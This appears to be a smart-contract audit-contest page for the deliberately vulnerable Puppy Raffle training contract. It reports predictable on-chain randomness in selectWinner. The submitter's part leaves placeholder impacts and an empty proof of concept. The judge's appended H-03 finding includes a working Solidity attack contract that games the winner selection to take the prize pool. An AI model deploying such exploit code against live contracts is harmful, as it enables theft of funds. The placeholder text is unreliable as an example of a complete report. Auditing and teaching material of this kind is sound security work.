Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

`PuppyRaffle::selectWinner` uses pseudo-randomness when generating rarity.

just

PuppyRaffle::selectWinner uses pseudo-randomness when generating rarity.

Description

When creating NFT, a weak and easily forged number is used using msg.sender and block.difficulty.

function selectWinner() external {
require(
block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over"
);
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex = uint256(
keccak256(
abi.encodePacked(msg.sender, block.timestamp, block.difficulty)
)
) % players.length;
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
​
uint256 tokenId = totalSupply();
​
// We use a different RNG calculate from the winnerIndex to determine rarity
@> uint256 rarity = uint256(
keccak256(abi.encodePacked(msg.sender, block.difficulty))
) % 100;

Risk

There is a high risk that an attacker will want to go through the rarity until a legendary quality falls out and then mint it.

Impact:

  • Impact 1

  • Impact 2

Proof of Concept

​

Recommended Mitigation

Use oracles.

function selectWinner() external {
require(
block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over"
);
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex = uint256(
keccak256(
abi.encodePacked(msg.sender, block.timestamp, block.difficulty)
)
) % players.length;
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
// Переповнення
totalFees = totalFees + uint64(fee);
​
uint256 tokenId = totalSupply();
​
// We use a different RNG calculate from the winnerIndex to determine rarity
- uint256 rarity = uint256(
keccak256(abi.encodePacked(msg.sender, block.difficulty))
) % 100;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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